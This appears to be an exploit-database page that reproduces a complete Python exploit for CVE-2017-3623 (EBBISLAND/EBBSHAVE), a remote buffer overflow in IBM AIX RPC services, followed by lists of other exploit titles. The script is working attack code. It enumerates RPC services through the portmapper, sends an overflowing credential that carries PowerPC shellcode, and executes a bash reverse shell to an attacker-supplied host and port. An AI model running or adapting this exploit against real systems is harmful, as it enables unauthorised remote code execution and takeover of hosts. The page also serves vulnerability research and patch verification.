Menu

Search for hundreds of thousands of exploits

"EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow"

Author

Exploit author

hantwister

Platform

Exploit platform

hardware

Release date

Exploit published date

2020-01-08

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
# Exploit Title: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow
# Date: 2018-09-19
# Exploit Author: Harrison Neal
# Vendor Homepage: https://www.ibm.com/us-en/
# Version: 6100-09-04-1441, 7100-03-05-1524, 7100-04-00-0000, 7200-01-01-1642
# Tested on: IBM AIX PPC
# CVE: CVE-2017-3623
# EBBISLAND / EBBSHAVE RPC Buffer Overflow for IBM AIX PPC


#!/usr/bin/python
# Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc

# Exploit code example; shellcode requires /usr/bin/bash on the target

# Example values for my AIX 7.2 LPAR:
# gid_base: 3007d390
# execl_func: d0307940
# execl_toc: f081bc20

# CAUTION: If a RPC service repeatedly crashes, it can be automatically disabled

from os import urandom
from socket import socket, AF_INET, SOCK_STREAM
from struct import pack, unpack
from sys import argv, exit
from time import time, sleep

def getCredLoopbackBody():
	global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc

	epoch = pack('>I', time()) # Make sure the system clock is in sync w/ target

	# Doesn't matter, ljust call assumes len <= 4
	node_name = 'hn'
	node_length = pack('>I', len(node_name))
	node_name = node_name.ljust(4, '\x00')

	# Also doesn't matter
	uid = pack('>I', 0)
	gid = pack('>I', 0)

	# Big enough to trigger an overflow
	# Not big enough to trigger defensive code
	# You could make this a little bit less,
	# but you'd have to tweak the part 2 code
	gids_len = pack('>I', 64)

	base_addr = pack('>I', gid_base)
	addr_8c = pack('>I', gid_base + 0x8c)
	addr_a8 = pack('>I', gid_base + 0xa8)
	addr_4c = pack('>I', gid_base + 0x4c)

	func_addr = pack('>I', execl_func)
	toc_addr = pack('>I', execl_toc)

	cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1'
	cmd = cmd.ljust(0x30, '\x00')

	# Each GID is 4 bytes long, we want 64
	gids = (
		# +0x0 # filepath
		'/usr/bin/bash\x00\x00\x00'

		# +0x10 # argv[0]
		'bash\x00\x00\x00\x00'

		# +0x18 # argv[1]
		'-c\x00\x00'

		# +0x1c # argv[2]
	) + cmd + (

		# +0x4c # r3 = filepath
		'\x70\x63\x00\x00' # andi. r3, r3, 0x0
		'\x3c\x60'
	) + base_addr[0:2] + ( # lis r3, ...
		'\x60\x63'
	) + base_addr[2:4] + ( # ori r3, r3, ...

		# +0x58 # r4 = argv[0]
		'\x38\x83\x00\x10' # addi r4, r3, 0x10

		# +0x5c # r5 = argv[1]
		'\x38\xa4\x00\x08' # addi r5, r4, 0x8

		# +0x60 # r6 = argv[2]
		'\x38\xc5\x00\x04' # addi r6, r5, 0x4

		# +0x64 # r7 = NULL
		'\x70\xe7\x00\x00' # andi. r7, r7, 0x0

		# +0x68 # r2 = libc.a TOC for execl
		'\x70\x42\x00\x00' # andi. r2, r2, 0x0
		'\x3c\x40'
	) + toc_addr[0:2] + ( # lis r2, ...
		'\x60\x42'
	) + toc_addr[2:4] + ( # ori r2, r2, ...

		# +0x74 # execl
		'\x71\x08\x00\x00' # andi. r8, r8, 0x0
		'\x3d\x00'
	) + func_addr[0:2] + ( # lis r8, ...
		'\x61\x08'
	) + func_addr[2:4] + ( # ori r8, ...
		'\x7d\x09\x03\xa6' # mtctr r8
		'\x4e\x80\x04\x21' # bctrl

		# +0x88 # 0x14 padding
		'AAAAAAAAAAAAAAAAAAAA'

		# +0x9c # Will be NULL
		'ZZZZ'

		# +0xa0
		# @+948: r5 = +0x8c
		# @+968: r5 = *(+0x8c + 0x18) = *(+0xa4)

		# +0xa4
		# @+968: r5 = +0xa8
		# @+972: r0 = *(r5 + 0x0) = *(+0xa8)

		# +0xa8
		# @+972: r0 = +0x4c
		# @+980: ctr = r0 = +0x4c
		# @+988: branch to ctr
	) + addr_8c + addr_a8 + addr_4c + (

		# +0xac # padding
		'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
	)

	print ":".join("{:02x}".format(ord(c)) for c in gids)
	print len(gids)

	return epoch + node_length + node_name + uid + gid + gids_len + gids

def getCredLoopback():
	cred_flavor = pack('>I', 0x55de) # AUTH_LOOPBACK

	cred_body = getCredLoopbackBody()
	cred_len = pack('>I', len(cred_body))

	return cred_flavor + cred_len + cred_body

def getAuthNone():
	auth_flavor = pack('>I', 0) # AUTH_NONE

	auth_len = pack('>I', 0)

	return auth_flavor + auth_len

def getMessage(prog_num, ver_num, proc_num, use_loopback_cred):
	xid = urandom(4)

	mtype = pack('>I', 0) # CALL

	rpcvers = pack('>I', 2)

	prog = pack('>I', prog_num)
	vers = pack('>I', ver_num)

	proc = pack('>I', proc_num)

	cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() )

	verf = getAuthNone()

	return xid + mtype + rpcvers + prog + vers + proc + cred + verf

def getPacket(message):
	# MSB on = this is the last fragment
	# LSBs = fragment length
	frag = pack('>I', len(message) + 0x80000000)

	return frag + message

if len(argv) < 7:
	print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc'
	exit(1)

rhost = argv[1]
lhost = argv[2]
lport = argv[3]
gid_base = int(argv[4], 16)
execl_func = int(argv[5], 16)
execl_toc = int(argv[6], 16)

# Query the portmapper for services

services = []

s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, 111)) # port 111 for portmapper
s.send(getPacket(getMessage(
	100000,	# portmapper
	2,	# version 2
	4,	# DUMP
	False	# unauth request
	)))

s.recv(0x1c) # skip over fragment length, XID, message type, reply state, verifier, accept state

while list(unpack('>I', s.recv(4)))[0]: # while next "value follows" field is true
	prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16))
	if (prog_num == 100024 # status
		and proto_num == 6): # TCP
			print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port)
			services.append((prog_num, ver_num, port))

s.close()

# Try attacking

for service in services:
	prog_num, ver_num, port = service

	serv_str = str(prog_num) + ' v' + str(ver_num)

	for attack in [False, True]:
		sleep(1) # be gentle

		print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str

		s = socket(AF_INET, SOCK_STREAM)
		s.connect((rhost, port))

		resp_len = 0

		s.send(getPacket(getMessage(
			prog_num,
			ver_num,
			0,	# NULL, acts like a ping
			attack
			)))

		s.settimeout(5) # give inetd/... a chance to spin up the service if needed

		try:
			resp_len = len( s.recv(1024) ) # try to receive up to 1024 bytes
		except:
			resp_len = 0 # typically either timeout, connection error, or Ctrl+C

		try:
			s.close() # try closing the connection if it isn't already dead
		except:
			pass # connection is probably already dead

		print '[ ] Got response length ' + str(resp_len)

		if resp_len == 0: # suspect the service either timed out or crashed
			if attack:
				print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell'
			else:
				print '[-] Service probably down or otherwise misbehaving, skipping...'
				break
Release DateTitleTypePlatformAuthor
2020-04-03"AIDA64 Engineer 6.20.5300 - 'Report File' filename Buffer Overflow (SEH)"localwindowsHodorsec
2020-04-03"Pandora FMS 7.0NG - 'net_tools.php' Remote Code Execution"webappsphp"Basim Alabdullah"
2020-04-02"DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC)"localwindows"Paras Bhatia"
2020-04-01"DiskBoss 7.7.14 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-04-01"10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH)"localwindowsHodorsec
2020-03-31"Redis - Replication Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-31"SharePoint Workflows - XOML Injection (Metasploit)"remotewindowsMetasploit
2020-03-31"Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)"remotemultipleMetasploit
2020-03-31"Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-03-31"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)"remotehardwareMetasploit
2020-03-30"Zen Load Balancer 3.10.1 - Remote Code Execution"webappscgi"Cody Sixteen"
2020-03-30"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation"localwindows"Daniel García Gutiérrez"
2020-03-30"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution"remotelinux0xsha
2020-03-30"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)"localwindowsHodorsec
2020-03-30"Joomla! com_fabrik 3.9.11 - Directory Traversal"webappsphpqw3rTyTy
2020-03-30"Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-27"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution"webappsphpvikingfr
2020-03-27"Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-27"ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Mustafa Emre Gül"
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-26"Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution"webappsphp"Engin Demirbilek"
2020-03-25"10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-25"Joomla! Component GMapFP 3.30 - Arbitrary File Upload"webappsphpThelastVvV
2020-03-25"10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path"localwindows"Felipe Winsnes"
2020-03-25"LeptonCMS 4.5.0 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-25"AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path"localwindows"Roberto Piña"
Release DateTitleTypePlatformAuthor
2020-03-31"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)"remotehardwareMetasploit
2020-03-31"Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-24"UCM6202 1.0.18.13 - Remote Command Injection"webappshardware"Jacob Baines"
2020-03-18"Microtik SSH Daemon 6.44.3 - Denial of Service (PoC)"remotehardwareFarazPajohan
2020-03-18"Netlink GPON Router 1.0.11 - Remote Code Execution"webappshardwareshellord
2020-03-13"Drobo 5N2 4.1.1 - Remote Command Injection"remotehardware"Ian Sindermann"
2020-03-03"RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection"webappshardware"Olga Villagran"
2020-03-03"RICOH Aficio SP 5200S Printer - 'entryNameIn' HTML Injection"webappshardware"Paulina Girón"
2020-03-02"TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)"webappshardware"Elber Tavares"
2020-03-02"Netis WF2419 2.2.36123 - Remote Code Execution"webappshardware"Elias Issa"
2020-03-02"TP LINK TL-WR849N - Remote Code Execution"webappshardware"Elber Tavares"
2020-03-02"Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)"webappshardware"Elber Tavares"
2020-02-27"Comtrend VR-3033 - Command Injection"webappshardware"Raki Ben Hamouda"
2020-02-24"SecuSTATION IPCAM-130 HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"Aptina AR0130 960P 1.3MP Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"SecuSTATION SC-831 HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"ESCAM QD-900 WIFI HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"Avaya IP Office Application Server 11.0.0.0 - Reflective Cross-Site Scripting"webappshardware"Scott Goodwin"
2020-02-24"I6032B-P POE 2.0MP Outdoor Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-19"Nanometrics Centaur 4.3.23 - Unauthenticated Remote Memory Leak"webappshardwarebyteGoblin
2020-02-19"DBPower C300 HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-17"Avaya Aura Communication Manager 5.2 - Remote Code Execution"webappshardware"Sarang Tumne"
2020-02-05"HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account"remotehardwareSnawoot
2020-02-05"Wago PFC200 - Authenticated Remote Code Execution (Metasploit)"webappshardware0x483d
2020-02-03"Schneider Electric U.Motion Builder 1.3.4 - Authenticated Command Injection"webappshardware"Cosmin Craciun"
2020-01-29"Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2020-01-29"Satellian 1.12 - Remote Code Execution"webappshardwareXh4H
2020-01-24"Genexis Platinum-4410 2.1 - Authentication Bypass"webappshardware"Husinul Sanub"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47888/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse